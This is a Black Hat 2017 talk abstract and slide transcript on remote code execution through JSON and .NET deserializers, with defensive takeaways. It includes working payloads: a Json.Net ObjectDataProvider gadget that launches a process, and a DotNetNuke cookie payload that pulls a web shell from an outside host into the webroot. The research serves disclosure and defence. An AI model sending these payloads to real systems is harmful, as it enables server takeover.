Friday the 13th: JSON Attacks

2016 was the year of Java deserialization apocalypse. Although Java Deserialization attacks were known for years, the publication of the Apache Commons Collection Remote Code Execution (RCE from now on) gadget finally brought this forgotten vulnerability to the spotlight and motivated the community to start finding and fixing these issues.

One of the most suggested solutions for avoiding Java deserialization issues was to move away from Java Deserialization altogether and use safer formats such as JSON. In this talk, we will analyze the most popular JSON parsers in both .NET and Java for potential RCE vectors.

We will demonstrate that RCE is also possible in these libraries and present details about the ones that are vulnerable to RCE by default. We will also discuss common configurations that make other libraries vulnerable.

In addition to focusing on JSON format, we will generalize the attack techniques to other serialization formats. In particular, we will pay close attention to several serialization formats in .NET. These formats have also been known to be vulnerable since 2012 but the lack of known RCE gadgets led some software vendors to not take this issue seriously. We hope this talk will change this. With the intention of bringing the due attention to this vulnerability class in .NET, we will review the known vulnerable formats, present other formats which we found to be vulnerable as well and conclude presenting several gadgets from system libraries that may be used to achieve RCE in a stable way: no memory corruption -- just simple process invocation.

Finally, we will provide recommendations on how to determine if your code is vulnerable, provide remediation advice, and discuss alternative approaches.

Paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

Transcript

1. Friday the 13th: JSON Attacks Alvaro Muñoz (@pwntester) Oleksandr Mirosh HPE Security
2. > whoami • Alvaro Muñoz • Security Research with HPE • Int3pids CTF player • @pwntester • Oleksandr Mirosh • Security Research with HPE
3. Introduction • 2016 was the year of Java Deserialization apocalypse • Known vector since 2011 • Previous lack of good RCE gadgets in common libraries • Apache Commons-Collections Gadget caught many off-guard. • Solution? • Stop using Java serialization • Use a secureJSON/XML serializer instead • Do not let history repeat itself • Raise awareness for .NET deserialization vulnerabilities • Is JSON/XML/<Put your favorite format here> any better?
4. Agenda 1. Attacking JSON serializers • Affected Libraries • Gadgets • Demo 2. Attacking .NET serializers • Affected formatters • Gadgets • Demo 3. Generalizing the attack • Demo
5. Is JSON any better?
6. Introduction • Probably secure when used to transmit data and simple JS objects • Replacing Java/.NET serialization with JSON requires OOP support. • How do we serialize a java.lang.Object field? • How do we deal with generics? • How do we serialize interface fields? • How do we deal with polymorphism?
7. Quick recap of Java deser attacks • Attackers can force the execution of any readObject() / readResolve() methods of any class sitting in the classpath • By controlling the deserialized field values attackers may abuse the logic of these methods to run arbitrary code • JSON libraries do not (normally) invoke deserialization callbacks or magic methods Can we initiate a gadget chain in some other way?
8. Sure we can • JSON libraries need to reconstruct objects by either: • Calling default constructor and using reflection to set field values • Calling default constructor and calling setters to set field values • Calling “special” constructors, type converters or callbacks • Calling common methods such as: • hashcode(), toString(), equals(), finalize(), … • Combinations of the previous ones ☺
9. Gadgets: .NET Edition • System.Configuration.Install.AssemblyInstaller • set_Path • Execute payload on local assembly load • System.Activities.Presentation.WorkflowDesigner • set_PropertyInspectorFontAndColorData • Arbitrary XAML load • Requires Single Threaded Apartment (STA) thread • System.Windows.ResourceDictionary • set_Source • Arbitrary XAML load • Required to be able to work with setters of types derived from IDictionary • System.Windows.Data.ObjectDataProvider • set_(MethodName| ObjectInstance| ObjectType) • Arbitrary Method Invocation
10. ObjectDataProvider {"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework", "ObjectInstance":{ "$type":"System.Diagnostics.Process, System”}, "MethodParameters":{ "$type":"System.Collections.ArrayList, mscorlib", "$values":["calc"]}, "MethodName":"Start" } • Non-default constructor with controlled parameters • ObjectType + ConstructorParameters • Any public instance method of unmarshaled object without parameters • ObjectInstance + MethodName • Any public static/instance method with controlled parameters • ObjectType + ConstructorParameters + MethodName + MethodParameters
11. ObjectDataProvider http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9
12. ObjectDataProvider http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9
13. ObjectDataProvider … http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9
14. ObjectDataProvider http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9
15. Gadgets: Java Edition • org.hibernate.jmx.StatisticsService • setSessionFactoryJNDIName • JNDI lookup • Presented during our JNDI attacks talk at BlackHat 2016 • com.atomikos.icatch.jta.RemoteClientUserTransaction • toString • JNDI lookup • com.sun.rowset.JdbcRowSetImpl • setAutoCommit • JNDI lookup • Available in Java JRE
16. JdbcRowSetImpl.setAutoCommit http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
17. JdbcRowSetImpl.setAutoCommit http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
18. Gadgets: non RCE .NET • System.Xml.XmlDocument/XmlDataDocument • set_InnerXml • XXE on .NET before 4.5.2 • System.Data.DataViewManager • set_DataViewSettingCollectionString • XXE on .NET before 4.5.2 • System.Windows.Forms.BindingSource • set_DataMember • Arbitrary getter call which can be used to chain to other gadgets Java • org.antlr.stringtemplate.StringTemplate • toString • Arbitrary getter call which can be used to chain to other gadgets such as the infamous TemplatesImpl.getOutputProperties()
19. Analyzed Libraries • We analyzed different Java/.NET JSON libraries to determine whether these libraries could lead to arbitrary code execution upon deserialization of untrusted data in their default configuration or under special configurations. • Requirements • Attacker can control type of reconstructed objects • Can specify Type • _type, $type, class, classname, javaClass, … • Library loads and instantiate Type • Library/GC will call methods on reconstructed objects • There are gadget chains starting on method executed upon/after reconstruction
20. Categorization • Format includes type discriminator 1. Default 2. Configuration setting • Type control 1. Cast after deserialization 2. Inspection of expected type { "$type": "Newtonsoft.Json.Samples.Stockholder, Newtonsoft.Json.Tests", "FullName": "Steve Stockholder", "Businesses": { "$type": "System.Collections.Generic.List`1[[Newtonsoft.Json.Samples.Business, Newtonsoft.Json.Tests]], mscorlib", "$values": [ { "$type": "Newtonsoft.Json.Samples.Hotel, Newtonsoft.Json.Tests", "Stars": 4, "Name": "Hudson Hotel” }]}}
21. Expected Type’s Object Graph Inspection • Inspection of expected type’s object graph • Check assignability from provided type • In some cases it also create a whitelist of allowed types • Vulnerable if • Expected type is user-controllable • Attacker can find injection member in object graph and no whitelist is applied Name : String Items : Dict<String, Object> Message : Message Body : Object Exc: Exception User Message Data : IDictionary Message : String Source: String StackTrace: String InnerException: Exception … Exception … Value : Object ValidationException Name : String Items : Dict<String, Object> Message : Message Props : Hashtable IUser
22. Summary Name Languag e Type Discriminator Type Control Vector FastJSON .NET Default Cast Setter Json.Net .NET Configuration Expected Object Graph Inspection Setter Deser. callbacks FSPickler .NET Default Expected Object Graph Inspection Setter Deser. callbacks Sweet.Jayson .NET Default Cast Setter JavascriptSerializer .NET Configuration Cast Setter DataContractJsonSeriali zer .NET Default Expected Object Graph Inspection + whitelist Setter Deser. callbacks Jackson Java Configuration Expected Object Graph Inspection Setter Genson Java Configuration Expected Object Graph Inspection Setter JSON-IO Java Default Cast toString FlexSON Java Default Cast Setter GSON Java Configuration Expected Object Graph Inspection -
23. FastJson • Always includes Type discriminators • There is no Type check controls other than a post-deserialization cast • Invokes • Setter • Should never be used with untrusted data • Example: • KalikoCMS • CVE-2017-10712 Var obj = (ExpectedType) JSON.ToObject(untrusted);
24. JavaScriptSerializer • System.Web.Script.Serialization.JavaScriptSerializer • By default, it will not include type discriminator information • Type Resolver can be used to include this information. • Weak Type control: post-deserialization cast operation • During deserialization, it will call: • Setters • It can be used securely as long as a type resolver is not used or the type resolver is configured to whitelist valid types. JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver()); string reqdInfo = apiService.authenticateRequest(); reqdDetails det = (reqdDetails)(sr.Deserialize<reqdDetails>(reqdInfo));
25. DataContractJsonSerializer • System.Runtime.Serialization.Json.DataContractJsonSerializer • Performs a strict type graph inspection and whitelist creation. • However, we found that if the attacker can control the expected type used to configure the deserializer, they will be able to gain code execution. Eg: • Invokes: • Setters • Serialization Constructors • Can be used securely as long as the expected type cannot be controlled by users. var typename = cookie["typename"]; … var serializer = new DataContractJsonSerializer(Type.GetType(typename)); var obj = serializer.ReadObject(ms);
26. Json.Net • It does not include Type discriminators unless TypeNameHandling setting other than None is used • Performs an inspection of Expected Type’s Object Graph • Invokes: • Setters • Serialization callbacks • Type Converters • Use SerializationBinder to whitelist Types if TypeNameHandling is required public class Message { [JsonProperty(TypeNameHandling = TypeNameHandling.All)] public object Body { get; set; } }
27. Demo 1: Breeze (CVE-2017-9424) Fixed in Breeze 1.6.5 onwards
28. Serializer Settings http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
29. Unsafe Deserialization & Entrypoint https://github.com/Breeze/breeze.server.net/blob/master/AspNet/Breeze.ContextProvider/ContextProvider.cs
30. Video
31. Similar Research • Java Unmarshaller Security • Author: Moritz Bechler • Parallel research published on May 22, after our research was accepted for BlackHat and abstract was published ☺. • Focus exclusively on Java • Overlaps with our research on: • Jackson and JSON-IO libraries • JdbcRowSetImpl.setAutoCommit gadget • Include other interesting gadgets • https://github.com/mbechler/marshalsec
32. .NET Formatters
33. Introduction • Attacks on .NET formatters are not new • James Forshaw already introduced them at BlackHat 2012 for • BinaryFormatter • NetDataContractSerializer • Lack of RCE gadget until recently  • Goals: • Raise awareness about perils of .NET deserialization • Present new vulnerable formatters scenarios • Present new gadgets • Need new gadgets that works with Formatters other than BinaryFormatter
34. PSObject Gadget (CVE-2017-8565) • Bridges to custom deserializer https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/PSObject.cs
35. PSObject Gadget (CVE-2017-8565) https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/InternalDeserializer.cs … …
36. LanguagePrimitives.FigureConversion() allows to: • Call the constructor of any public Type with one argument (attacker controlled) • Call any setters of public properties for the attacker controlled type • Call the static public Parse(string) method of the attacker controlled type. https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs PSObject Gadget (CVE-2017-8565)
37. System.Windows.Markup.XamlReader.Parse() -> Process.Start(“calc.exe”) https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs … PSObject Gadget (CVE-2017-8565)
38. .NET Native Formatters Name Format Additional requirements Comments BinaryFormatter Binary No ISerializablegadgets SoapFormatter SOAP XML No ISerializablegadgets NetDataContractSerializer XML No ISerializablegadgets JavaScriptSerializer JSON Insecure TypeResolver Setters gadgets DataContractSerializer XML Control of expected Type or knownTypes or weak DataContractResolver Setters gadgets Some ISerializablegadgets DataContractJsonSerializer JSON Control of expected Type or knownTypes Setters gadgets Some ISerializablegadgets XmlSerializer XML Control of expected Type Quite limited; does not work with interfaces ObjectStateFormatter Text, Binary No Uses BinaryFormatter internally; TypeConverters gadgets LosFormatter Text, Binary No Uses ObjectStateFormatter internally BinaryMessageFormatter Binary No Uses BinaryFormatter internally XmlMessageFormatter XML Control of expected Type Uses XmlSerializer internally
39. Demo 2: NancyFX (CVE-2017-9785) Fixed in version 1.4.4 / 2.0-dangermouse onwards
40. NCSRF Cookie • CSRF cookie • Latest stable version used a BinaryFormatter serialized cookie (1.x) • AAEAAAD/////AQAAAAAAAAAMAgAAAD1OYW5jeSwgVmVyc2lvbj0wLjEwLjAuMCwgQ3VsdHVyZT1uZX V0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAYTmFuY3kuU2VjdXJpdHkuQ3NyZlRva2VuAwAA ABw8UmFuZG9tQnl0ZXM+a19fQmFja2luZ0ZpZWxkHDxDcmVhdGVkRGF0ZT5rX19CYWNraW5nRmllbG QVPEhtYWM+a19fQmFja2luZ0ZpZWxkBwAHAg0CAgAAAAkDAAAAspLEeOrO0IgJBAAAAA8DAAAACgAA AAJ9FN3bma5ztsdODwQAAAAgAAAAAt9dloO6qU2iUAuPUAtsq+Ud0w5Qu1py8YhoCn5hv+PJCwAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= • Pre-released 2.x used a custom JSON parser to make it compatible with .NET Core first versions • {"RandomBytes":[60,142,24,76,245,9,202,183,56,252],"CreatedDate":"2017-04- 03T10:42:16.7481461Z","Hmac":[3,17,70,188,166,30,66,0,63,186,44,213,201,164,3, 19,56,139,78,159,170,193,192,183,242,187,170,221,140,46,24,197],"TypeObject":" Nancy.Security.CsrfToken, Nancy, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null”} • Pre-auth RCE in both versions
41. Video
42. Generalizing the Attacks
43. Attacking all the deserializers • When dealing with object unmarshaling, objects will need to be created and populated which normally mean calling setters or deserialization constructors. • Requirements 1. Attacker can control type to be instantiated upon deserialization 2. Methods are called on the reconstructed objects 3. Gadget space is big enough to find types we can chain to get RCE • We can use the presented gadgets to attack these formats
44. Examples • FsPickler (xml/binary) • A fast, multi-format messaging serializer for .NET • Includes arbitrary Type discriminators • Invokes setters and ISerializableconstructor and callbacks • Object Graph Inspection • SharpSerializer • XML and binary serialization for .NET and Silverlight • Includes arbitrary Type discriminators • Invokes setters • No type control other than post-deserialization cast • Wire/Hyperion • A high performance polymorphic serializer for the .NET framework used by Akka.NET • JSON.NET with TypeNameHandling = All or custom binary one • Includes Type discriminators and invokes setters and ISerializable constructor and callbacks
45. Beware of rolling your own format • NancyFX • Custom JSON parser replacing BinaryFormatter (Pre-released 2.x ) to make it compatible with .NET Core first versions • DotNetNuke CMS (DNN Platform) • Wraps XmlSerializeraround a custom XML format which includes the type to be used to create the XmlSerializer • This deserves a slide on its own ☺ {"RandomBytes":[60,142,24,76,245,9,202,183,56,252],"CreatedDate": "2017-04- 03T10:42:16.7481461Z","Hmac":[3,17,70,188,166,30,66,0,63,186,44,2 13,201,164,3,19,56,139,78,159,170,193,192,183,242,187,170,221,140 ,46,24,197],"TypeObject":"Nancy.Security.CsrfToken, Nancy, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null”}
46. Overcoming XmlSerializer constraints • Types with interface members cannot be serialized • System.Windows.Data.ObjectDataProvider is XmlSerializer friendly ☺ • System.Diagnostic.Processhas Interface members  … use any other Type! • XamlReader.Load(String) -> RCE • ObjectStateFormatter.Deserialize(String) -> RCE • DotNetNuke.Common.Utilities.FileSystemUtils.PullFile(String) -> WebShell • DotNetNuke.Common.Utilities.FileSystemUtils.WriteFile(String) -> Read files • Runtime Types needs to be known at serializer construction time • ObjectDataProvidercontains an Object member (unknown runtime Type) • Use a parametrized Type to “teach” XmlSerializer about runtime types. Eg: System.Data.Services.Internal.ExpandedWrapper`2[ [PUT_RUNTIME_TYPE_1_HERE],[PUT_RUNTIME_TYPE_2_HERE] ], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
47. Demo 3: DotNetNuke (CVE-2017-9822) Fixed in DNN Platform 9.1.1 or EVOQ 9.1.1 onwards
48. Source https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Services/Personalization/PersonalizationController.cs#L72 Processed, for example, when accessing a 404 error page
49. Sink https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Common/Utilities/XmlUtils.cs#L201
50. DNNPersonalization Regular Cookie <profile> <item key="85:AllCreditors" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <boolean>false</boolean> </item> </profile>
51. DNNPersonalization Payload Cookie <profile> <item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Win dows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <ExpandedWrapperOfFileSystemUtilsObjectDataProvider> <ExpandedElement/> <ProjectedProperty0> <MethodName>PullFile</MethodName> <MethodParameters> <anyType xsi:type="xsd:string">http://ctf.pwntester.com/shell.aspx</anyType> <anyType xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType> </MethodParameters> <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfFileSystemUtilsObjectDataProvider> </item> </profile>
52. Video
53. Wrap-Up
54. Main Takeaways • Do not deserialize untrusted data! • … no, seriously, do not deserialize untrusted data! • … ok, if you really need to: • Make sure to evaluate the security of the chosen library • Avoid libraries without strict Type control • Type discriminators are necessary but not sufficient condition • Never use user-controlled data to define the deserializer expected Type • Do not roll your own format
55. Thank you! Alvaro Muñoz (@pwntester) & Oleksandr Mirosh
56. ObjectDataProvider set_MethodName() BeginQuery() QueryWorker() InvokeMethodOnInstance() Refresh() set_ObjectType() set_ObjectInstance()
57. .NET Native Formatters I • System.Runtime.Serialization.Formatters.Soap.SoapFormatter • Serializes objects to and from SOAP XML format. • Similar to BinaryFormatter in a number of things; • They both implements IFormatter interface and serialize only Serializable annotated types. • Both use surrogates to handle custom serialization and binders to control the type loading. • Both will invoke similar methods upon deserialization which include: • setters, Iserializable constructor, OnDeserialized annotated methods and OnDeserialization callback. • System.Web.Script.Serialization.JavaScriptSerializer • Covered in JSON section
58. .NET Native Formatters II • System.Runtime.Serialization.DataContractSerializer • It inspects the object graph of the expected type and limits the deserialization to only those types known at construction time (either in the object graph or supplied with KnownTypes list parameter). • Suitable to handle untrusted data unless any of the following scenarios apply: • Using a weak type resolver • Using user controlled expected type • Will invoke multiple methods which can be used to initiate a RCE gadget chain such as setters and serialization constructors. • System.Runtime.Serialization.Json.DataContractJsonSerializer • Covered in JSON section • Very similar to DataContractSerializer • No type resolvers can be used Type objType = Type.GetType(message.Label.Split('|')[1], true, true); DataContractSerializer serializer = new DataContractSerializer(objType); serializer.ReadObject(message.BodyStream);
59. .NET Native Formatters III • System.Xml.Serialization.XmlSerializer • Will inspect the expected type at construction time and create an ad-hoc serializer that will only know about those types appearing in the object graph. • Prevents deserialization of interface members. • Only vulnerable configuration for this deserializer is when attacker can control the expected type. • From an attacker perspective, overcoming the type limitation can be a problem, but we will show later that this can be done with some tricks. var typename = cookie["typename"]; … var typeName = xmlItem.GetAttribute("type"); var xser = new XmlSerializer(Type.GetType(typeName));
60. .NET Native Formatters IV • System.Web.UI.ObjectStateFormatter • Used by LosFormatter as a binary formatter for persisting the view state for Web Forms pages. It uses BinaryFormatter internally and therefore offers similar attack surface. • Uses TypeConverters • System.Messaging.XmlMessageFormatter • It is the default formatter used by MSMQ. It uses XmlSerializer internally and therefore it is vulnerable to same attack patterns. • System.Messaging.BinaryMessageFormatter • Used by MSMQ as a binary formatter for sending messages to queues. It uses BinaryFormatter internally and therefore offers similar attack surface.
61. Sure we can • JSON libraries need to reconstruct objects by either: • Calling default constructor and using reflection to set field values • Default constructor is parameterless so useless for attack purposes • Reflection does not invoke any object methods but deserializer may do • Calling default constructor and calling setters to set field values • Can we find setters that would allow us to run arbitrary code? • Calling “special” constructors, type converters or callbacks • Can be used to bridge into other formatters or as start-chain gadgets • Calling common methods such as: • hashcode(), toString(), equals(), finalize(), … • Combinations of the previous ones ☺